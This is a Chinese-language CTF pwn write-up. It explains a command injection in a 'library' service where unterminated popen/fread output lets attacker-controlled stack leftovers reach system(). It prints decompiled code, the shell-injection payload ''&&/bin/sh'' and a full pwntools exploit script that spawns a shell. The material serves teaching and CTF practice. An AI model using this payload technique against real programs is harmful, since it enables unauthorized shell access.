关于读取popen输出结果时未截断字符串导致的命令行注入详解

0x00 前言

这种命令行注入在pwn中出现的比较少,所以记录分享一下。

0x01 命令行注入介绍

熟悉web安全的话就知道,如果对特殊字符过滤不当,会引发sql注入或者xss等安全漏洞。其中,命令行注入较为严重,因为可以直接拿到漏洞程序当前权限的OSshell。

然而,命令行注入不仅在web中会出现,在C语言程序中,也会出现命令行注入的漏洞。比方说这道pwn题,就是调用system时,没有对输入数据进行\0截断以及对特殊字符处理不当而导致的。

命令行注入相对于其他二进制漏洞相比利用比较简单,比方说这道题,举个例子:

sprintf(&s, "du -sh lib/'%s'", v6);
system(&s);

其中设计初衷,v6应当是一个合法的文件名。但是如果攻击者恶意操控v6,比方说,让v6为:'&&/bin/sh'
进行sprintf拼接后,system所执行的命令为:

du -sh lib/''&&/bin/sh''

这里有两个linux命令行的知识:

&&,这是拼接两个命令,如果我们执行 command1&&command2,那么等价于先执行command1在执行command2。其中命令跟&&之间不必加空格。

在命令后不加空格的''(两个单引号)会被忽略,比如ls''等价于ls,/bin/sh''等价于/bin/sh,du -sh lib/''等价于du -sh lib/(即,实际传进去的参数是lib/不是lib/'')

所以,执行上面的命令,相当于先执行了

du -sh lib/

再执行

/bin/sh

所以,可以getshell。

0x02 题目

题目所给的是一个library的服务,可以上传book,查看books,清除books。其中,book存放在lib/文件夹中。

0x03 漏洞点

char *list_books()
{
 FILE *v0; // eax
 char *result; // eax
 char s; // [esp+4h] [ebp-C14h]
 char ptr; // [esp+804h] [ebp-414h]
 char *v4; // [esp+C04h] [ebp-14h]
 FILE *stream; // [esp+C08h] [ebp-10h]
 char *v6; // [esp+C0Ch] [ebp-Ch]
 v0 = popen("ls lib/", "r");
 stream = v0;
 result = (char *)fread(&ptr, 1u, 0x400u, v0);
 v4 = result;
 if ( result )
 {
 v6 = strtok(&ptr, delims);
 result = (char *)send("Book list:\nSize\tE-book\n");
 while ( v6 )
 {
 sprintf(&s, "du -sh lib/'%s'", v6);
 //很明显,这里存在可能的命令行注入
 system(&s);
 fflush(stdout);
 result = strtok(0, delims);
 v6 = result;
 }
 }
 return result;

其中list_books代码如上,v6来自fread从popen中的返回结果。他本来想做的是输出每个文件的大小,但是fread后没有用\0截断。所以调用strtok时,可能会读到fread后面的垃圾数据(当然如果可以操控的话就不是垃圾数据了)

sprintf的栈溢出会比较难利用,因为&s比较大,有0x800,而v6是从&ptr里面strtok出来的,而&ptr更小,只有0x400。所以应该没法很好的利用。

0x04 操控垃圾数据

那么,我们怎么去操控&ptr中的垃圾数据呢?这个时候看看另外一个函数

int upload_book()
{
 char *v1; // eax
 int v2; // eax
 char buf[1024]; // [esp+Ch] [ebp-42Ch]
 char s[20]; // [esp+40Ch] [ebp-2Ch]
 FILE *stream; // [esp+420h] [ebp-18h]
 char *dest; // [esp+424h] [ebp-14h]
 size_t v7; // [esp+428h] [ebp-10h]
 int v8; // [esp+42Ch] [ebp-Ch]
 if ( book_counter > 10 )
 return send("too many books\n");
 send("Book filename: ");
 v8 = __isoc99_scanf("%20s", s);
 if ( v8 != 1 )
 return send("Wrong title format\n");
 v7 = strlen(s);
 if ( strcmp(&s[v7 - 3], ".bk") )
 return send("The name needs to end with '.bk'\n");
 send("e-book contents: \n");
 read(0, buf, 0x400u);
 if ( *(_DWORD *)buf != 'BBBB' )
 return send("Not an e-book\naborting...\n");
 v1 = (char *)malloc(0x18u);
 dest = v1;
 *(_DWORD *)v1 = 0x2F62696C;
 v1[4] = 0;
 strcat(dest, s);
 stream = fopen(dest, "w");
 if ( !stream )
 return send("Bad book filename\n");
 v2 = book_counter++;
 books[v2] = dest;
 fwrite(buf, 1u, 0x400u, stream);
 return fclose(stream);
}

其中,这在栈中也会分配0x400个字节,并且我们可以写入。

并且,调用完这个函数之后,清除栈空间时,只是简单地add esp,xxx,并不会清空其中数据。然后,再调用存在命令行注入的函数并分配栈空间时,也只是单纯地sub esp,xxx,也不会清空数据。在C语言中,如果此时对不赋值的局部变量直接访问的话,是UB行为。但是,从二进制安全的角度看的话,便是可利用的点了。其中这道题,本身就是一个局部字符串读取后未截断而造成的UB,然而我们便可以利用这个。

那么来试试:

很明显,BBBB123456789123456789123456789123456789AAAA的后面89123456789AAAA被拼接到du -sh lib/'%s'中了

动态调试看一下的话

第一次在system停下

第二次在system停下

所以很明显,只要把89123456789AAAA改成

'&&/bin/sh'\x00

就可以getshell了。如前面所说。

其中,\x00是我们自己手动截断,不然strtok还会继续往后读。

所以最后exp

#BBBB1234567891234567891234567'&&/bin/sh'
g_local = True

from pwn import *

if g_local:
 sh=process("./library")
else:
 sh=remote("xxxx",1234)

def upload_book(filename, content):
 filename += ".bk"
 sh.send("1\n")
 sh.recvuntil("Book filename: ")
 print filename
 sh.send(filename + "\n")
 sh.recvuntil("e-book contents: \n")
 sh.send(content)
 sh.recvuntil("Enter command: ")

def list_books_and_shell():
 sh.send("2\n")
 sh.interactive()

upload_book("1", "BBBB1234567891234567891234567\'&&/bin/sh\'\x00")
list_books_and_shell()

0x05 后言

还有一点要注意,pwndbg好像会默认在fork时跟子进程,所以要在~/.gdbinit的最后面(加载pwndbg之后)加上set follow-fork-mode parent。并且,&&与命令之间不能加空格。因为他strtok是通过空格和换行分断字符串的,加了空格我们的payload就会被strtok分割开。

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,如果有疑问大家可以留言交流,谢谢大家对我们的支持。

(0)

相关推荐

  • 关于读取popen输出结果时未截断字符串导致的命令行注入详解

    0x00 前言 这种命令行注入在pwn中出现的比较少,所以记录分享一下. 0x01 命令行注入介绍 熟悉web安全的话就知道,如果对特殊字符过滤不当,会引发sql注入或者xss等安全漏洞.其中,命令行注入较为严重,因为可以直接拿到漏洞程序当前权限的OSshell. 然而,命令行注入不仅在web中会出现,在C语言程序中,也会出现命令行注入的漏洞.比方说这道pwn题,就是调用system时,没有对输入数据进行\0截断以及对特殊字符处理不当而导致的. 命令行注入相对于其他二进制漏洞相比利用比较简单,比

  • keras读取训练好的模型参数并把参数赋值给其它模型详解

    介绍 本博文中的代码,实现的是加载训练好的模型model_halcon_resenet.h5,并把该模型的参数赋值给两个不同的新的model. 函数式模型 官网上给出的调用一个训练好模型,并输出任意层的feature. model = Model(inputs=base_model.input, outputs=base_model.get_layer('block4_pool').output) 但是这有一个问题,就是新的model,如果输入inputs和训练好的model的inputs大小不

  • C# 从 UTF-8 流中读取字符串的正确方法及代码详解

     我们下面的代码是从一个流 stream 中读取 UTF-8 编码的字符串.我们可以先考虑一下其中存在的潜在问题. string ReadString(Stream stream) { var sb = new StringBuilder(); var buffer = new byte[4096]; int readCount; while ((readCount = stream.Read(buffer)) > 0) { var s = Encoding.UTF8.GetString(buf

  • Java导出excel时合并同一列中相同内容的行思路详解

    一.有时候导出Excel时需要按类别导出,一大类下好几个小类,小类下又有好几个小小类,就像下图: 要实现这个也不难, 思路如下:按照大类来循环,如上就是按照张江校区.徐汇校区.临港校区三个大类循环,然后再处理小类,因为本例小小类不涉及合并,所以只涉及处理小类,如果需要处理小小类,还需要在处理一下,具体实现原理同小类: 每次循环时记录下此次循环的房屋类型和上次循环的房屋类型,两者相同时,要合并的结束行++,否者,说明这个房屋类型已经循环完毕(前提是各类型都按顺序order by 了,保证相同类型相

  • Redis未授权访问配合SSH key文件利用详解

    前言 Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的API. Redis 未授权访问的问题是一直存在的问题,知道创宇安全研究团队历史上也做过相关的应急,今日,又出现 Redis 未授权访问配合 SSH key 文件被利用的情况,导致一大批 Redis 服务器被黑,今天我们来简要的分析下. 一.漏洞概述 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有

  • 读取数据库的数据并整合成3D饼图在jsp中显示详解

    前言 本文主要给大家介绍的是关于读取数据库数据整合成3D饼图并在jsp中显示的相关内容,分享出来供大家参考学习,下面话不多说,来一起看看详细的介绍: 方法如下: 首先我将生成饼图的方法独立写成一个PieChar.java类,详细代码如下:(数据库需要自己建,如有需要的话) import java.io.IOException; import java.sql.SQLException; import org.jfree.chart.ChartFactory; import org.jfree.c

  • SQL Server统计信息更新时采样百分比对数据预估准确性的影响详解

    为什么要写统计信息 最近看到园子里有人写统计信息,楼主也来凑热闹. 话说经常做数据库的,尤其是做开发的或者优化的,统计信息造成的性能问题应该说是司空见惯. 当然解决办法也并非一成不变,"一招鲜吃遍天"的做法已经行不通了(题外话:整个时代不都是这样子吗) 当然,还是那句话,既然写了就不能太俗套,写点不一样的,本文通过分析一个类似实际案例来解读统计信息的更新的相关问题. 对于实际问题,不但要解决问题,更重要的是要从理论上深入分析,才能更好地驾驭数据库. 何时更新统计信息 (1)查询执行缓慢

  • MySQL命令行操作时的编码问题详解

    1.查看MySQL数据库编码 mysql -u用户名 -p密码 show variables like 'char%'; 2.编码解释 1.character_set_client:MySQL会使用该编码来解读客户端发送来的数据,如果该字段编码为utf8,那么如果客户端发送过来的数据不是utf8,就会出现乱码现象. 2.character_set_results:MySQL会把数据转换成该编码后,再发送给客户端,例如该编码为utf8,那么如果客户端不使用utf8来解读,那么就会出现乱码现象. 3

  • Java实现读取Jar文件属性的方法详解

    目录 一.题目描述-读取Jar文件属性 1.题目 2.解题思路 3.代码详解 一.题目描述-读取Jar文件属性 1.题目 做一个读取jar文件的内容和功能的工具. 2.解题思路 创建一个类:ReaderJarFrame 使用ReaderJarFrame继承JFrame构建窗体 在选择jar后,窗体的表格会显示其内容. 创建一个类:ReadJar ReadJar类实现读取功能 读取的逻辑:使用JarFile类与Enumeration接口. jarFile是Java提供的一个类,可以读取jar包中的

  • pandas读取csv格式数据时header参数设置方法

    目录 写在前面 参考文档 read_csv的header参数 header参数测试 思考 写在前面 使用pandas中read_csv读取csv数据时,对于有表头的数据,将header设置为空(None),会报错:pandas_libs\parsers.pyx in pandas._libs.parsers.raise_parser_error() ParserError: Error tokenizing data. C error: Expected 4 fields in line 2,

随机推荐